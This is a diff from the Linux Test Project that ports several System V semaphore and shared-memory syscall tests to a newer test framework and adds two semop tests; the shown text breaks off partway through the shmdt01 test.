+/*\ + * [Description] * - * ALGORITHM - * loop if that option was specified - * call semget() to create the semaphore set - * check the return code - * if failure, issue a FAIL message. - * otherwise, - * if doing functionality testing - * stat the semaphore set - * if the number of primitive semaphores is correct and - * the semaphore uid == the process uid - * then, - * issue a PASS message - * otherwise - * issue a FAIL message - * call cleanup - * - * USAGE: - * semget01 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 03/2001 - Written by Wayne Boyer - * - * RESTRICTIONS - * none + * This case checks that semget() correclty creates a semaphore set. */ -#include "ipcsem.h" +#include +#include +#include +#include "lapi/sem.h" +#include "tst_test.h" +#include "libnewipc.h" +#include "tst_safe_sysv_ipc.h" -char *TCID = "semget01"; -int TST_TOTAL = 1; +static int sem_id = -1, sem_key = -1; -int sem_id_1 = -1; - -int main(int ac, char **av) +static void check_functionality(void) { - int lc; - void check_functionality(void); - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ - - /* The following loop checks looping state if -i option given */ - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* - * Use TEST macro to make the call - */ - - TEST(semget(semkey, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "%s call failed - errno = %d : %s", - TCID, TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - /* get the semaphore ID */ - sem_id_1 = TEST_RETURN; - - check_functionality(); - } - - /* - * remove the semaphore that was created and mark the ID - * as invalid. - */ - if (sem_id_1 != -1) { - rm_sema(sem_id_1); - sem_id_1 = -1; - } - } + struct semid_ds semary; + union semun un_arg; - cleanup(); + un_arg.buf = &semary; + SAFE_SEMCTL(sem_id, 0, IPC_STAT, un_arg); + TST_EXP_EQ_LI(un_arg.buf->sem_nsems, PSEMS); + TST_EXP_EQ_LI(un_arg.buf->sem_perm.cuid, geteuid()); - tst_exit(); + tst_res(TPASS, "basic semaphore values are okay"); } -/* - * check_functionality() - check the functionality of the tested system call. - */ -void check_functionality(void) +static void verify_semget(void) { - struct semid_ds semary; - union semun un_arg; /* union defined in ipcsem.h */ - - /* STAT the semaphore */ - un_arg.buf = &semary; - if (semctl(sem_id_1, 0, IPC_STAT, un_arg) == -1) { - tst_brkm(TBROK, cleanup, "Could not stat the semaphore"); + TEST(semget(sem_key, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA)); + if (TST_RET == -1) { + tst_res(TFAIL | TTERRNO, "semget() failed"); return; } - if (un_arg.buf->sem_nsems != PSEMS) { - tst_resm(TFAIL, "# of semaphores in set != # given to create"); - return; - } + sem_id = TST_RET; + check_functionality(); - if (un_arg.buf->sem_perm.cuid != geteuid()) { - tst_resm(TFAIL, "semaphore uid != process uid"); - return; - } - - tst_resm(TPASS, "basic semaphore values are okay"); + SAFE_SEMCTL(sem_id, PSEMS, IPC_RMID); } -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) +static void setup(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* - * Create a temporary directory and cd into it. - * This helps to ensure that a unique msgkey is created. - * See libs/libltpipc/libipc.c for more information. - */ - tst_tmpdir(); - - /* get an IPC resource key */ - semkey = getipckey(); + sem_key = GETIPCKEY(); } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) +static void cleanup(void) { - /* if it exists, remove the semaphore resouce */ - rm_sema(sem_id_1); - - tst_rmdir(); - + if (sem_id != -1) + SAFE_SEMCTL(sem_id, PSEMS, IPC_RMID); } + +static struct tst_test test = { + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = verify_semget, +}; diff --git a/testcases/kernel/syscalls/ipc/semget/semget02.c b/testcases/kernel/syscalls/ipc/semget/semget02.c index 4124514c..4273c84c 100755 --- a/testcases/kernel/syscalls/ipc/semget/semget02.c +++ b/testcases/kernel/syscalls/ipc/semget/semget02.c @@ -1,165 +1,102 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * semget02.c +/*\ + * [Description] * - * DESCRIPTION - * semget02 - test for EACCES and EEXIST errors + * This basic error handing of the semget syscall. * - * ALGORITHM - * create a semaphore set without read or alter permissions - * loop if that option was specified - * call semget() using two different invalid cases - * check the errno value - * issue a PASS message if we get EACCES or EEXIST - * otherwise, the tests fails - * issue a FAIL message - * call cleanup - * - * USAGE: - * semget02 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 03/2001 - Written by Wayne Boyer - * - * RESTRICTIONS - * none + * - EACCES - a semaphore set exists for key, but the calling process does not + * have permission to access the set + * - EEXIST - a semaphore set already exists for key and IPC_CREAT | IPC_EXCL + * is given + * - ENOENT - No semaphore set exists for key and semflg did not specify + * IPC_CREAT + * - EINVAL - nsems is less than 0 or greater than the limit on the number of + * semaphores per semaphore set(SEMMSL) + * - EINVAL - a semaphore set corresponding to key already exists, but nsems is + * larger than the number of semaphores in that set */ -#include - -#include "ipcsem.h" -char *TCID = "semget02"; -int TST_TOTAL = 2; - -char nobody_uid[] = "nobody"; -struct passwd *ltpuser; - -int sem_id_1 = -1; - -struct test_case_t { +#include +#include +#include +#include +#include +#include +#include "tst_test.h" +#include "tst_safe_sysv_ipc.h" +#include "libnewipc.h" +#include "lapi/sem.h" + +static int sem_id = -1; +static key_t semkey, semkey1; +static struct passwd *pw; +static struct tcase { + int *key; + int nsems; int flags; - int error; -} TC[] = { - /* EACCES - the semaphore has no read or alter permissions */ - { - SEM_RA, EACCES}, - /* EEXIST - the semaphore id exists and semget() was called with */ - /* IPC_CREAT and IPC_EXCL */ - { - IPC_CREAT | IPC_EXCL, EEXIST} + int exp_err; + /*1: nobody expected, 0: root expected */ + int exp_user; +} tcases[] = { + {&semkey, PSEMS, SEM_RA, EACCES, 1}, + {&semkey, PSEMS, IPC_CREAT | IPC_EXCL, EEXIST, 0}, + {&semkey1, PSEMS, SEM_RA, ENOENT, 0}, + {&semkey1, -1, IPC_CREAT | IPC_EXCL, EINVAL, 0}, + {&semkey1, SEMMSL + 1, IPC_CREAT | IPC_EXCL, EINVAL, 0}, + {&semkey, PSEMS + 1, SEM_RA, EINVAL, 0}, }; -int main(int ac, char **av) +static void verify_semget(struct tcase *tc) { - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ - - /* The following loop checks looping state if -i option given */ - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { - /* use the TEST macro to make the call */ - - TEST(semget(semkey, PSEMS, TC[i].flags)); - - if (TEST_RETURN != -1) { - sem_id_1 = TEST_RETURN; - tst_resm(TFAIL, "call succeeded"); - continue; - } + TST_EXP_FAIL2(semget(*tc->key, tc->nsems, tc->flags), tc->exp_err, + "semget(%i, %i, %i)", *tc->key, tc->nsems, tc->flags); +} - if (TEST_ERRNO == TC[i].error) { - tst_resm(TPASS, "expected failure - errno " - "= %d : %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, "unexpected error - %d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } +static void do_test(unsigned int n) +{ + pid_t pid; + struct tcase *tc = &tcases[n]; + + if (tc->exp_user == 0) { + verify_semget(tc); + } else { + pid = SAFE_FORK(); + if (pid) { + tst_reap_children(); + } else { + SAFE_SETUID(pw->pw_uid); + verify_semget(tc); + exit(0); } } - - cleanup(); - - tst_exit(); } -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) +static void setup(void) { - tst_require_root(); - - /* Switch to nobody user for correct error code collection */ - ltpuser = getpwnam(nobody_uid); - if (seteuid(ltpuser->pw_uid) == -1) { - tst_resm(TINFO, "setreuid failed to " - "to set the effective uid to %d", ltpuser->pw_uid); - perror("setreuid"); - } - - tst_sig(NOFORK, DEF_HANDLER, cleanup); + semkey = GETIPCKEY(); + semkey1 = GETIPCKEY(); - TEST_PAUSE; + sem_id = SAFE_SEMGET(semkey, PSEMS, IPC_CREAT | IPC_EXCL); - /* - * Create a temporary directory and cd into it. - * This helps to ensure that a unique msgkey is created. - * See libs/libltpipc/libipc.c for more information. - */ - tst_tmpdir(); - - /* get an IPC resource key */ - semkey = getipckey(); - - /* create a semaphore set without read or alter permissions */ - if ((sem_id_1 = semget(semkey, PSEMS, IPC_CREAT | IPC_EXCL)) == -1) { - tst_brkm(TBROK, cleanup, "couldn't create semaphore in setup"); - } + pw = SAFE_GETPWNAM("nobody"); } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) +static void cleanup(void) { - /* if it exists, remove the semaphore resource */ - rm_sema(sem_id_1); - - tst_rmdir(); - + if (sem_id != -1) + SAFE_SEMCTL(sem_id, PSEMS, IPC_RMID); } + +static struct tst_test test = { + .needs_tmpdir = 1, + .needs_root = 1, + .forks_child = 1, + .tcnt = ARRAY_SIZE(tcases), + .setup = setup, + .cleanup = cleanup, + .test = do_test, +}; diff --git a/testcases/kernel/syscalls/ipc/semget/semget05.c b/testcases/kernel/syscalls/ipc/semget/semget05.c index f801cb8e..dd9a6285 100755 --- a/testcases/kernel/syscalls/ipc/semget/semget05.c +++ b/testcases/kernel/syscalls/ipc/semget/semget05.c @@ -1,152 +1,83 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * semget05.c - * - * DESCRIPTION - * semget05 - test for ENOSPC error +/*\ + * [Description] * - * ALGORITHM - * create semaphore sets in a loop until the system limit is reached - * loop if that option was specified - * attempt to create yet another semaphore set - * check the errno value - * issue a PASS message if we get ENOSPC - * otherwise, the tests fails - * issue a FAIL message - * call cleanup + * Test for ENOSPC error. * - * USAGE: - * HISTORY - * 03/2001 - Written by Wayne Boyer - * 07/2006 - Changes By Michael Reed - * - Changed the value of MAXIDS for the specific machine by reading - * the system limit for SEMMNI - The maximum number of sempahore sets - * 03/2008 - Matthieu Fertré (mfertre@irisa.fr) - * - Fix concurrency issue. Create private semaphores to - * avoid conflict with concurrent processes. - * - * RESTRICTIONS - * none - */ - -#include "ipcsem.h" - -char *TCID = "semget05"; -int TST_TOTAL = 1; - -/* - * The MAXIDS value is somewhat arbitrary and may need to be increased - * depending on the system being tested. + * ENOSPC - a semaphore set exceed the maximum number of semaphore sets(SEMMNI) */ -int MAXIDS = 2048; - -int *sem_id_arr = NULL; -int num_sems = 0; /* count the semaphores created */ - -int main(int ac, char **av) +#include +#include +#include +#include +#include +#include "lapi/sem.h" +#include "tst_test.h" +#include "libnewipc.h" +#include "tst_safe_sysv_ipc.h" + +static int *sem_id_arr; +static int maxsems, array_cnt, used_cnt; +static key_t semkey; + +static void verify_semget(void) { - int lc; - FILE *fp; - - tst_parse_opts(ac, av, NULL, NULL); - - /* Set the MAXIDS for the specific machine by reading the system limit - * for SEMMNI - The maximum number of sempahore sets - */ - fp = fopen("/proc/sys/kernel/sem", "r"); - if (fp != NULL) { - int getmaxid; - if (fscanf(fp, "%*d %*d %*d %d", &getmaxid) == 1) - MAXIDS = getmaxid + 1; - fclose(fp); - } - - sem_id_arr = malloc(sizeof(int) * MAXIDS); - if (sem_id_arr == NULL) - tst_brkm(TBROK, cleanup, "malloc failed"); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - - TEST(semget(IPC_PRIVATE, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA)); - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded when error expected"); - continue; - } - - switch (TEST_ERRNO) { - case ENOSPC: - tst_resm(TPASS, "expected failure - errno " - "= %d : %s", TEST_ERRNO, strerror(TEST_ERRNO)); - break; - default: - tst_resm(TFAIL, "unexpected error - %d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - break; - } - } - - cleanup(); - - tst_exit(); + TST_EXP_FAIL2(semget(semkey + maxsems, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA), + ENOSPC, "semget(%i, %i, %i)", semkey + maxsems, PSEMS, + IPC_CREAT | IPC_EXCL | SEM_RA); } -void setup(void) +static void setup(void) { - int sem_q; + int res, num; - tst_sig(NOFORK, DEF_HANDLER, cleanup); + semkey = GETIPCKEY(); + used_cnt = GET_USED_ARRAYS(); + tst_res(TINFO, "Current environment %d semaphore arrays are already in use", + used_cnt); + SAFE_FILE_SCANF("/proc/sys/kernel/sem", "%*d %*d %*d %d", &maxsems); - TEST_PAUSE; + /* Prevent timeout due to high semaphore array limit */ + tst_set_max_runtime(maxsems / 200); - tst_tmpdir(); - - while ((sem_q = semget(IPC_PRIVATE, PSEMS, IPC_CREAT | IPC_EXCL)) != -1) { - sem_id_arr[num_sems++] = sem_q; - if (num_sems == MAXIDS) { - tst_brkm(TBROK, cleanup, "The maximum number of " - "semaphore ID's has been\n\t reached. Please " - "increase the MAXIDS value in the test."); - } - } + sem_id_arr = SAFE_MALLOC((maxsems - used_cnt) * sizeof(int)); + for (num = 0; num < maxsems - used_cnt; num++) { + res = semget(semkey + num, PSEMS, IPC_CREAT | IPC_EXCL | SEM_RA); + if (res == -1) + tst_brk(TBROK | TERRNO, "semget failed unexpectedly"); - if (errno != ENOSPC) { - tst_brkm(TBROK, cleanup, "Didn't get ENOSPC in test setup" - " - errno = %d : %s", errno, strerror(errno)); + sem_id_arr[array_cnt++] = res; } + tst_res(TINFO, "The maximum number of semaphore arrays (%d) has been reached", + maxsems); } -void cleanup(void) +static void cleanup(void) { - int i; + int num; - for (i = 0; i < num_sems; i++) { - rm_sema(sem_id_arr[i]); - } + if (!sem_id_arr) + return; + + for (num = 0; num < array_cnt; num++) + SAFE_SEMCTL(sem_id_arr[num], PSEMS, IPC_RMID); free(sem_id_arr); - tst_rmdir(); } + +static struct tst_test test = { + .needs_tmpdir = 1, + .setup = setup, + .cleanup = cleanup, + .test_all = verify_semget, + .save_restore = (const struct tst_path_val[]){ + {"/proc/sys/kernel/sem", NULL, + TST_SR_TCONF_MISSING | TST_SR_SKIP_RO}, + {} + } +}; diff --git a/testcases/kernel/syscalls/ipc/semop/.gitignore b/testcases/kernel/syscalls/ipc/semop/.gitignore index bb57f08a..cc67b186 100755 --- a/testcases/kernel/syscalls/ipc/semop/.gitignore +++ b/testcases/kernel/syscalls/ipc/semop/.gitignore @@ -1,3 +1,5 @@ /semop01 /semop02 /semop03 +/semop04 +/semop05 diff --git a/testcases/kernel/syscalls/ipc/semop/Makefile b/testcases/kernel/syscalls/ipc/semop/Makefile index 6b2b26d0..43afffb3 100755 --- a/testcases/kernel/syscalls/ipc/semop/Makefile +++ b/testcases/kernel/syscalls/ipc/semop/Makefile @@ -7,6 +7,9 @@ LTPLIBS = ltpnewipc include $(top_srcdir)/include/mk/testcases.mk -LTPLDLIBS = -lltpnewipc +semop01: LTPLDLIBS = -lltpnewipc +semop02: LTPLDLIBS = -lltpnewipc +semop03: LTPLDLIBS = -lltpnewipc +semop05: LDLIBS += -lpthread include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/ipc/semop/semop04.c b/testcases/kernel/syscalls/ipc/semop/semop04.c new file mode 100644 index 00000000..1f49e774 --- /dev/null +++ b/testcases/kernel/syscalls/ipc/semop/semop04.c @@ -0,0 +1,93 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (C) 2003-2023 Linux Test Project, Inc. + * Author: 2001 Paul Larson + * Modified: 2001 Manoj Iyer + */ + +/*\ + * [Description] + * + * Creates a semaphore and two processes. The processes + * each go through a loop where they semdown, delay for a + * random amount of time, and semup, so they will almost + * always be fighting for control of the semaphore. + */ + +#include +#include +#include +#include +#include +#include "lapi/sem.h" +#include "tst_test.h" +#include "tst_safe_sysv_ipc.h" + +#define LOOPS 1000 +#define SEED 123 + +static void semup(int semid) +{ + struct sembuf semops; + + semops.sem_num = 0; + semops.sem_op = 1; + semops.sem_flg = SEM_UNDO; + + SAFE_SEMOP(semid, &semops, 1); +} + +static void semdown(int semid) +{ + struct sembuf semops; + + semops.sem_num = 0; + semops.sem_op = -1; + semops.sem_flg = SEM_UNDO; + + SAFE_SEMOP(semid, &semops, 1); +} + +static void mainloop(int semid) +{ + int i; + + for (i = 0; i < LOOPS; i++) { + semdown(semid); + usleep(1 + ((100.0 * rand()) / RAND_MAX)); + semup(semid); + } +} + +static void run(void) +{ + int semid; + union semun semunion; + pid_t pid; + + /* set up the semaphore */ + semid = SAFE_SEMGET((key_t) 9142, 1, 0666 | IPC_CREAT); + + semunion.val = 1; + + SAFE_SEMCTL(semid, 0, SETVAL, semunion); + + tst_res(TINFO, "srand seed is %d", SEED); + srand(SEED); + + pid = SAFE_FORK(); + + if (pid) { + mainloop(semid); + tst_reap_children(); + TST_EXP_POSITIVE(semctl(semid, 0, IPC_RMID, semunion)); + } else { + mainloop(semid); + } +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, +}; diff --git a/testcases/kernel/syscalls/ipc/semop/semop05.c b/testcases/kernel/syscalls/ipc/semop/semop05.c new file mode 100644 index 00000000..34b714bf --- /dev/null +++ b/testcases/kernel/syscalls/ipc/semop/semop05.c @@ -0,0 +1,157 @@ +/* + * + * Copyright (c) International Business Machines Corp., 2002 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See + * the GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * FILE : sem02.c + * + * DESCRIPTION : The application creates several threads using pthread_create(). + * One thread performs a semop() with the SEM_UNDO flag set. The change in + * sempaphore value performed by that semop should be "undone" only when the + * last pthread exits. + * + * EXPECTED OUTPUT: + * Waiter, pid = + * Poster, pid = , posting + * Poster posted + * Poster exiting + * Waiter waiting, pid = + * Waiter done waiting + * + * HISTORY: + * written by Dave Olien (oliend@us.ibm.com) + * 03/06/2002 Robbie Williamson (robbiew@us.ibm.com) + * -ported + * 07/04/2003 Paul Larson (plars@linuxtestproject.org) + * -ported to LTP + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include "lapi/sem.h" +#include "test.h" + +#define KEY IPC_PRIVATE + +#define NUMTHREADS 2 + +void *retval[NUMTHREADS]; +void *waiter(void *); +void *poster(void *); +void cleanup(void); + +char *TCID = "sem02"; +int TST_TOTAL = 1; + +struct sembuf Psembuf = { 0, -1, SEM_UNDO }; +struct sembuf Vsembuf = { 0, 1, SEM_UNDO }; + +int sem_id; +int err_ret; /* This is used to determine PASS/FAIL status */ +int main(int argc, char **argv) +{ + int i, rc; + union semun semunion; + + pthread_t pt[NUMTHREADS]; + pthread_attr_t attr; + + tst_parse_opts(argc, argv, NULL, NULL); + /* Create the semaphore set */ + sem_id = semget(KEY, 1, 0666 | IPC_CREAT); + if (sem_id < 0) { + printf("semget failed, errno = %d\n", errno); + exit(1); + } + /* initialize data structure associated to the semaphore */ + semunion.val = 1; + semctl(sem_id, 0, SETVAL, semunion); + + /* setup the attributes of the thread */ + /* set the scope to be system to make sure the threads compete on a */ + /* global scale for cpu */ + pthread_attr_init(&attr); + pthread_attr_setscope(&attr, PTHREAD_SCOPE_SYSTEM); + + err_ret = 1; /* Set initial error value to 1 */ + /* Create the threads */ + for (i = 0; i < NUMTHREADS; i++) { + if (i == 0) + rc = pthread_create(&pt[i], &attr, waiter, retval[i]); + else + rc = pthread_create(&pt[i], &attr, poster, retval[i]); + } + + /* Sleep long enough to see that the other threads do what they are supposed to do */ + sleep(20); + semunion.val = 1; + semctl(sem_id, 0, IPC_RMID, semunion); + if (err_ret == 1) + tst_resm(TFAIL, "failed"); + else + tst_resm(TPASS, "passed"); + cleanup(); + + tst_exit(); +} + +/* This thread sleeps 10 seconds then waits on the semaphore. As long + as someone has posted on the semaphore, and no undo has taken + place, the semop should complete and we'll print "Waiter done + waiting." */ +void *waiter(void *foo) +{ + int pid; + pid = getpid(); + + tst_resm(TINFO, "Waiter, pid = %d", pid); + sleep(10); + + tst_resm(TINFO, "Waiter waiting, pid = %d", pid); + semop(sem_id, &Psembuf, 1); + tst_resm(TINFO, "Waiter done waiting"); + err_ret = 0; /* If the message above is displayed, the test is a PASS */ + pthread_exit(0); +} + +/* This thread immediately posts on the semaphore and then immediately + exits. If the *thread* exits, the undo should not happen, and the + waiter thread which will start waiting on it in 10 seconds, should + still get it. */ +void *poster(void *foo) +{ + int pid; + + pid = getpid(); + tst_resm(TINFO, "Poster, pid = %d, posting", pid); + semop(sem_id, &Vsembuf, 1); + tst_resm(TINFO, "Poster posted"); + tst_resm(TINFO, "Poster exiting"); + + pthread_exit(0); +} + +void cleanup(void) +{ +} diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c index 8569322d..ca668aaf 100755 --- a/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c +++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl05.c @@ -17,12 +17,12 @@ * message. */ -#include "lapi/syscalls.h" #include "tst_test.h" #include "tst_fuzzy_sync.h" #include "tst_safe_pthread.h" #include "tst_safe_sysv_ipc.h" #include "tst_timer.h" +#include "lapi/syscalls.h" static struct tst_fzsync_pair fzsync_pair; @@ -106,7 +106,7 @@ static void cleanup(void) } static struct tst_test test = { - .timeout = 20, + .max_runtime = 10, .setup = setup, .test_all = do_test, .cleanup = cleanup, diff --git a/testcases/kernel/syscalls/ipc/shmdt/Makefile b/testcases/kernel/syscalls/ipc/shmdt/Makefile index 26b9f264..b1201281 100755 --- a/testcases/kernel/syscalls/ipc/shmdt/Makefile +++ b/testcases/kernel/syscalls/ipc/shmdt/Makefile @@ -3,10 +3,10 @@ top_srcdir ?= ../../../../.. -LTPLIBS = ltpipc +LTPLIBS = ltpnewipc include $(top_srcdir)/include/mk/testcases.mk -LTPLDLIBS = -lltpipc +LTPLDLIBS = -lltpnewipc include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c b/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c index 697613a4..551daac9 100755 --- a/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c +++ b/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c @@ -1,223 +1,81 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * shmdt01.c - * - * DESCRIPTION - * shmdt01 - check that shared memory is detached correctly - * - * ALGORITHM - * create a shared memory resource of size sizeof(int) - * attach it to the current process and give it a value - * call shmdt() using the TEST macro - * check the return code - * if failure, issue a FAIL message. - * otherwise, - * if doing functionality testing - * attempt to write a value to the shared memory address - * this should generate a SIGSEGV which will be caught in - * the signal handler - * if correct, - * issue a PASS message - * otherwise - * issue a FAIL message - * call cleanup +/*\ + * [Description] * - * USAGE: - * shmdt01 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 03/2001 - Written by Wayne Boyer - * - * 06/03/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com) - * - Fix wrong return value check on shmat system call (leading to - * segfault in case of error with this syscall). - * - * RESTRICTIONS - * none + * This case check whether we get SIGSEGV when write a value to a detached + * shared memory resource. */ +#include +#include +#include #include -#include "ipcshm.h" +#include "tst_test.h" +#include "libnewipc.h" +#include "tst_safe_sysv_ipc.h" -char *TCID = "shmdt01"; -int TST_TOTAL = 1; +static int shm_id = -1, shm_key, pass; +static int *shared; +static sigjmp_buf env; -void sighandler(int); -struct shmid_ds buf; - -int shm_id_1 = -1; -int *shared; /* variable to use for shared memory attach */ -int new; -int pass = 0; -sigjmp_buf env; - -int main(int ac, char **av) +static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) { - int lc; - void check_functionality(void); - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ - - /* The following loop checks looping state if -i option given */ - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* - * Use TEST macro to make the shmdt() call - */ - - TEST(shmdt((const void *)shared)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "%s call failed - errno = %d : %s", - TCID, TEST_ERRNO, strerror(TEST_ERRNO)); - } else { - check_functionality(); - } - - /* reattach the shared memory segment in case we are looping */ - shared = shmat(shm_id_1, 0, 0); - - if (shared == (void *)-1) { - tst_brkm(TBROK, cleanup, "memory reattach failed"); - } - - /* also reset pass */ - pass = 0; - } - - cleanup(); - - tst_exit(); + pass = 1; + siglongjmp(env, 1); } -/* - * check_functionality() - make sure the memory is detached correctly - */ -void check_functionality(void) +static void check_functionality(void) { - /* stat the shared memory segment */ - if (shmctl(shm_id_1, IPC_STAT, &buf) == -1) - tst_brkm(TBROK | TERRNO, cleanup, - "could not stat in signal handler"); + struct shmid_ds buf; - if (buf.shm_nattch != 0) { - tst_resm(TFAIL, "# of attaches is incorrect"); + SAFE_SHMCTL(shm_id, IPC_STAT, &buf); + TST_EXP_EQ_LI(buf.shm_nattch, 0); + if (buf.shm_nattch) return; - } - /* - * Try writing to the shared memory. This should generate a - * SIGSEGV which will be caught below. - * - * This is wrapped by the sigsetjmp() call that will take care of - * restoring the program's context in an elegant way in conjunction - * with the call to siglongjmp() in the signal handler. - * - * An attempt to do the assignment without using the sigsetjmp() - * and siglongjmp() calls will result in an infinite loop. Program - * control is returned to the assignment statement after the execution - * of the signal handler and another SIGSEGV will be generated. - */ - - if (sigsetjmp(env, 1) == 0) { + if (sigsetjmp(env, 1) == 0) *shared = 2; - } - - if (pass) { - tst_resm(TPASS, "shared memory detached correctly"); - } else { - tst_resm(TFAIL, "shared memory was not detached correctly"); - } -} -void sighandler(int sig) -{ - /* if we have received a SIGSEGV, we are almost done */ - if (sig == SIGSEGV) { - /* set the global variable and jump back */ - pass = 1; - siglongjmp(env, 1); - } else - tst_brkm(TBROK, cleanup, - "received an unexpected signal: %d", sig); + if (pass) + tst_res(TPASS, "shared memory detached correctly"); + else + tst_res(TFAIL, "shared memory was not detached correctly"); } -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) +static void verify_shmdt(void) { - - tst_sig(NOFORK, sighandler, cleanup); - - TEST_PAUSE; - - /* - * Create a temporary directory and cd into it. - * This helps to ensure that a unique msgkey is created. - * See libs/libltpipc/libipc.c for more information. - */ - tst_tmpdir(); - - /* get an IPC resource key */ - shmkey = getipckey(); - - /* create a shared memory resource with read and write permissions */ - if ((shm_id_1 = shmget(shmkey, INT_SIZE, SHM_RW | IPC_CREAT | - IPC_EXCL)) == -1) { - tst_brkm(TBROK, cleanup, "Failed to create shared memory " - "resource in setup()"); - } - - /* attach the shared memory segment */ - shared = shmat(shm_id_1, 0, 0); - - if (shared == (void *)-1) { - tst_brkm(TBROK, cleanup, "Couldn't attach shared memory"); + TST_EXP_PASS_SILENT(shmdt(shared)); + if (TST_PASS) { + check_functionality(); + shared = SAFE_SHMAT(shm_id, 0, 0); } - /* give a value to the shared memory integer 